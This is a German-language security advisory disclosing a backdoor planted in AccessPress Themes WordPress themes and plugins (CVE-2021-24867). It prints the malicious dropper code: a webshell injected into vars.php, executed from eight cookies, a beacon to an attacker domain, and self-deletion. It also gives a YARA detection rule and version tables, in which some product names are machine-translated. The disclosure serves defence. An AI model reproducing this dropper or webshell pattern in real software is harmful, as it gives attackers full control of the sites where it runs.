Backdoor Gefunden in Themes und Plugins von AccessPress Themes

Veröffentlicht: 2022-01-19

Update 1. Februar – Der Abschnitt „Betroffene Themen“ wurde geändert, um widerzuspiegeln, dass neue Versionen der Themen erscheinen.

Bei der Untersuchung einer kompromittierten Website haben wir verdächtigen Code in einem Design von AccessPress Themes (alias Access Keys) entdeckt, einem Anbieter mit einer großen Anzahl beliebter Designs und Plugins. Bei weiteren Untersuchungen stellten wir fest, dass alle Themes und die meisten Plugins des Anbieters diesen verdächtigen Code enthielten, aber nur, wenn sie von ihrer eigenen Website heruntergeladen wurden. Dieselben Erweiterungen waren in Ordnung, wenn sie direkt aus dem WordPress.org-Verzeichnis heruntergeladen oder installiert wurden.

Aufgrund der Art und Weise, wie die Erweiterungen kompromittiert wurden, vermuteten wir, dass ein externer Angreifer die Website von AccessPress Themes verletzt hatte, um zu versuchen, ihre Erweiterungen zu verwenden, um weitere Websites zu infizieren.

Wir haben den Anbieter sofort kontaktiert, aber zunächst keine Antwort erhalten. Nachdem wir es an das Plugin-Team von WordPress.org eskaliert hatten, wurde unser Verdacht bestätigt. Die Websites von AccessPress Themes wurden in der ersten Septemberhälfte 2021 verletzt, und die auf ihrer Website zum Download verfügbaren Erweiterungen wurden mit einer Hintertür infiziert.

Nachdem wir einen Kanal für die Kommunikation mit dem Anbieter eingerichtet hatten, teilten wir ihm unsere detaillierten Ergebnisse mit. Sie haben die anstößigen Erweiterungen sofort von ihrer Website entfernt.

Die meisten Plugins wurden seitdem aktualisiert, und bekannte saubere Versionen sind am Ende dieses Beitrags aufgeführt. Die betroffenen Themes wurden jedoch nicht aktualisiert und stammen aus dem Theme-Repository von WordPress.org. Wenn Sie eines der am Ende dieses Beitrags aufgeführten Designs auf Ihrer Website installiert haben, empfehlen wir, so schnell wie möglich zu einem neuen Design zu migrieren.

Diese Offenlegung betrifft eine große Anzahl von Erweiterungen, sowohl Plugins als auch Themes. Gehen Sie zur Liste unten oder lesen Sie weiter für die Details.

Einzelheiten:

Anbieter: AccessPress Themes
Anbieter-URL: https://accesspressthemes.com
Plugins: mehrere
Themen: mehrere
CVE: CVE-2021-24867

Analyse:

Die infizierten Erweiterungen enthielten einen Dropper für eine Webshell, die den Angreifern vollen Zugriff auf die infizierten Seiten gewährt. Der Dropper befindet sich in der Datei inital.php im Hauptverzeichnis des Plugins oder Themes. Wenn es ausgeführt wird, installiert es eine Cookie-basierte Webshell in wp-includes/vars.php . Die Shell wird als Funktion direkt vor der Funktion wp_is_mobile() mit dem Namen wp_is_mobile_fix() . Dies soll vermutlich niemanden verdächtig machen, der beiläufig durch die vars.php -Datei scrollt.

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Sobald die Shell installiert ist, ruft der Dropper nach Hause, indem er ein entferntes Bild von der URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg mit der URL der infizierten Website und Informationen darüber lädt welches Thema es als Abfrageargumente verwendet. Schließlich wird die Dropper-Quelldatei entfernt, um eine Erkennung zu vermeiden, wenn die Ausführung der Anforderung abgeschlossen ist.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

Die Webshell selbst wird ausgelöst, wenn der User-Agent-String in der Anfrage wp_is_mobile ist und die Anfrage acht spezifische Cookies enthält. Es setzt eine Nutzlast aus diesen bereitgestellten Cookies zusammen und führt sie aus.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Wir haben auch eine andere, vermutlich ältere Variante der Hintertür gesehen, die direkt in die Datei functions.php des Themes/Plugins eingebettet ist. Diese Variante verwendet den gleichen Mechanismus, indem sie die Nutzdaten aus acht Cookies zusammensetzt, filtert jedoch nicht nach dem User-Agent-String der Anfrage.

Um sicherzustellen, dass der Dropper ausgeführt wird, wurde die Haupt-Plugin-Datei (für Plugins) oder die Datei functions.php (für Themen) mit Code modifiziert, um die Datei inital.php auszuführen, falls vorhanden.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Ein auffälliges Detail der Zeitstempel der kompromittierten Plugins ist, dass sie alle von Anfang September stammen. Die Mehrheit stammt vom 6. und 7. September, einige wenige Dateien vom 2. und 3. September. Ebenso wurden alle Themen am 22. September kompromittiert, mit Ausnahme von accessbuddy am 9. September.

Auch die Zeitstempel innerhalb der ZIP-Archive sind sehr einheitlich, mit fast allen Dateien mit genau demselben Zeitstempel, mit Ausnahme der modifizierten Haupt-Plugin-Datei und der hinzugefügten Dropper-Datei, die einige Minuten später (normalerweise etwa 2-5 Minuten später) gestempelt wird die anderen Dateien im Archiv).

Wenn wir uns jedoch die Zeitstempel für die aus dem wordpress.org -Repository heruntergeladenen Zip-Dateien ansehen, finden wir eine Verteilung von Zeitstempeln, die dem Zeitpunkt entsprechen, an dem das Plugin/Theme tatsächlich aktualisiert wurde. Auch die Verteilung der Zeitstempel innerhalb des Archivs ist weniger einheitlich und spiegelt wider, welche Dateien in der Version aktualisiert wurden und welche gegenüber einer älteren Version unverändert sind.

Dies deutet für uns darauf hin, dass die Dateien von der Website von AccessPress Themes absichtlich und als koordinierte Aktion nach ihrer ursprünglichen Veröffentlichung geändert wurden. Der Kompromiss scheint in zwei Phasen durchgeführt worden zu sein, eine für die Plugins und eine spätere für die Themen. Jeder von ihnen mit einigen früheren Versuchen, möglicherweise den Prozess zu verfeinern.

Unsere Untersuchung hat sich nur mit den Themen und Plugins befasst, die auf der Website von AccessPress Themes frei verfügbar sind. Wir gehen davon aus, dass ihre kostenpflichtigen Pro-Themen ähnlich betroffen sind, aber wir haben diese nicht untersucht. Wenn Sie eines davon haben, wenden Sie sich bitte an den Support von AccessPress Themes, um weitere Ratschläge zu erhalten.

Betroffene Themen

Wenn Sie eines der folgenden Designs mit einer Versionsnummer in der Spalte „ Schlecht “ auf Ihrer Website installiert haben, empfehlen wir, sofort auf die Version in der Spalte „ Sauber “ zu aktualisieren. Es ist erwähnenswert, dass die über WordPress.org installierten Themen sauber sind, auch wenn sie in der Spalte „ Schlecht “ aufgeführt sind. Wir empfehlen trotzdem, auf die bekannte saubere Version umzusteigen, um auf der sicheren Seite zu sein.

Designs ohne Versionsnummer in der Spalte Clean wurden noch nicht aktualisiert, und wir empfehlen, sie nach Möglichkeit durch ein anderes Design zu ersetzen.

Themenschnecke Schlecht Sauber
Zugangspartner 1.0.0
accesspress-basic 3.2.1 3.2.2
accesspress-lite 2.92 2.93
accesspress-mag 2.6.5 2.6.6
accesspress-parallax 4.5 4.6
accesspress-ray 1.19.5
accesspress-root 2.5 2.6.0
accessPress-Heftklammer 1.9.1
Presse-Store zugreifen 2.4.9 2.5.0
Agentur-lite 1.1.6 1.1.7
aplit 1.0.6
bingle 1.0.4 1.0.5
Blogger 1.2.6 1.2.7
Bau-Lite 1.2.5 1.2.6
doko 1.0.27 1.1.0
erleuchten 1.3.5 1.3.6
Modegeschäft 1.2.1
Fotografie 2.4.0 2.4.1
gaga-corp 1.0.8
gaga-lite 1.4.2
One-Paze 2.2.8
Parallax-Blog 3.1.1574941215
parallaxom 1.3.6 1.3.7
Punte 1.1.2 1.1.3
drehen 1.3.1
Welligkeit 1.2.0 1.2.1
scrollme 2.1.0
Sportmag 1.2.1
storevilla 1.4.1 1.4.2
swing-lite 1.1.9 1.2.0
der-Launcher 1.3.2 1.3.3
der Montag 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-news 1.0.5 1.0.6
Zickzack-Baby 1.0.6 1.0.7
Zigcy-Kosmetik 1.0.5 1.0.6
zigcy-lite 2.0.9 2.1.0
Tabelle 1: Themen und Versionen, die durch den Angriff kompromittiert wurden.

Betroffene Plugins

Wenn Sie eines der folgenden Plugins mit einer Versionsnummer in der Spalte „ Bad “ auf Ihrer Website installiert haben, empfehlen wir, sofort auf die Version in der Spalte „ Clean “ zu aktualisieren. Es ist erwähnenswert, dass die über WordPress.org installierten Plugins sauber sind, auch wenn sie in der Spalte „ Schlecht “ aufgeführt sind. Wir empfehlen trotzdem, auf die bekannte saubere Version umzusteigen, um auf der sicheren Seite zu sein.

Plugins ohne Versionsnummer in der Spalte Clean wurden noch nicht aktualisiert, und wir empfehlen, sie nach Möglichkeit durch andere Plugins zu ersetzen.

Plugin-Slug Schlecht Sauber Notiz
accesspress-anonymous-post 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-social-counter 1.9.1 1.9.2
accessPress-Social-Icons 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-share 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
Presse-Twitter-Feed aufrufen 1.6.7 1.6.8
ak-menu-icons-lite 1.0.9
ap-Begleiter 1.0.7 2
ap-Kontaktformular 1.0.6 1.0.7
ap-kundenspezifisches Zeugnis 1.4.6 1.4.7
ap-Mega-Menü 3.0.5 3.0.6
ap-preistabellen-lite 1.1.2 1.1.3
apex-benachrichtigungsleiste-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
kommentare-deaktivieren-zugriffpressen 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
everest-admin-theme-lite 1.0.7 1.0.8
everest-kommt-bald-lite 1.1.0 1.1.1
everest-kommentar-bewertung-lite 2.0.4 2.0.5
Everest-Counter-Lite 2.0.7 2.0.8
Everest-FAQ-Manager-Lite 1.0.8 1.0.9
Everest-Galerie-Lite 1.0.8 1.0.9
everest-google-places-rezensionen-lite 1.0.9 2.0.0
everest-rezension-lite 1.0.7
Everest-Tab-Lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
Inline-Call-to-Action-Builder-Lite 1.1.0 1.1.1
produkt-slider-für-woocommerce-lite 1.1.5 1.1.6
smart-logo-showcase-lite 1.1.7 1.1.8
Smart-Scroll-Beiträge 2.0.8 2.0.9
smart-scroll-to-top-lite 1.0.3 1.0.4
total-gdpr-compliance-lite 1.0.4
total-team-lite 1.1.1 1.1.2
ultimative-autor-box-lite 1.1.2 1.1.3
Ultimate-Form-Builder-Lite 1.5.0 1.5.1
woo-abzeichen-designer-lite 1.1.0 1.1.1
wp-1-slider 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp-cookie-user-info 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp-schwebendes-menü 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-popup-banner 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-produktgalerie-lite 1.1.1
Tabelle 2: Plugins, durch den Angriff kompromittierte Versionen sowie bekannte saubere Versionen,

Anmerkungen:

  1. Dieses Plugin wurde nicht aktualisiert, es wird jedoch angenommen, dass es sauber ist, da die Version auf der AccessPress Themes-Website eine ältere Version war.
  2. Dieses Plugin wurde nicht aktualisiert, es wird jedoch angenommen, dass es sauber ist, da es ursprünglich nicht auf der AccessPress Themes-Website verfügbar war.

IOCs

Die folgende YARA-Regel kann verwendet werden, um zu überprüfen, ob die Website infiziert wurde. Es erkennt sowohl den Dropper-Teil der Infektion als auch die installierte Webshell.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Empfehlungen

Wenn Sie Themes oder Plugins direkt von AccessPress Themes oder einem anderen Ort außer WordPress.org installiert haben, sollten Sie sofort auf eine sichere Version upgraden, wie in den obigen Tabellen angegeben. Wenn keine sichere Version verfügbar ist, ersetzen Sie sie durch die neueste Version von WordPress.org.

Bitte beachten Sie, dass die Hintertür dadurch nicht von Ihrem System entfernt wird. Sie müssen also zusätzlich eine saubere Version von WordPress neu installieren, um die Änderungen an den Kerndateien rückgängig zu machen, die während der Installation der Hintertür vorgenommen wurden.

Wenn Sie ein kostenpflichtiges Design oder Plugin von AccessPress Themes/Access Keys haben, empfehlen wir Ihnen, sich an den Support zu wenden, um Hilfe zu erhalten.

Wir empfehlen dringend, dass Sie einen Sicherheitsplan für Ihre Website haben, der das Scannen nach schädlichen Dateien und Sicherungen umfasst. Jetpack Security ist eine großartige WordPress-Sicherheitsoption, um sicherzustellen, dass Ihre Website und Besucher sicher sind. Jetpack Scan hat seit dem 30. September alle Varianten dieser Hintertür und des Droppers erkannt.

Zeitleiste

2021-09-22: Das Jetpack Scan-Team entdeckt den Dropper und die Hintertür im FotoGraphy-Thema und versucht, den Anbieter über den ersten Fund zu kontaktieren.

2021-09-27: Bestätigen Sie das Vorhandensein von Dropper + Backdoor in allen aktuellen kostenlosen Plugins und Themes, die von der Website des Anbieters heruntergeladen wurden.

28.09.2021: Bestätigen Sie, dass Dropper + Backdoor bei Downloads von wordpress.org nicht vorhanden ist

2021-09-29: Versuchen Sie erneut, den Anbieter zu kontaktieren, mit Updates zu neuen Erkenntnissen.

14.10.2021: An WordPress-Plugins-Team eskaliert, um zu versuchen, Kontakt mit dem Anbieter aufzunehmen.

15.10.2021: Kompromittierte Erweiterungen werden von der Seite des Anbieters entfernt.

16.10.2021: Antwort des Anbieters

17.01.2022: Die meisten Plugins wurden auf neue Versionen aktualisiert, Themes wurden von WordPress.org gezogen.

2022-01-18 Offenlegung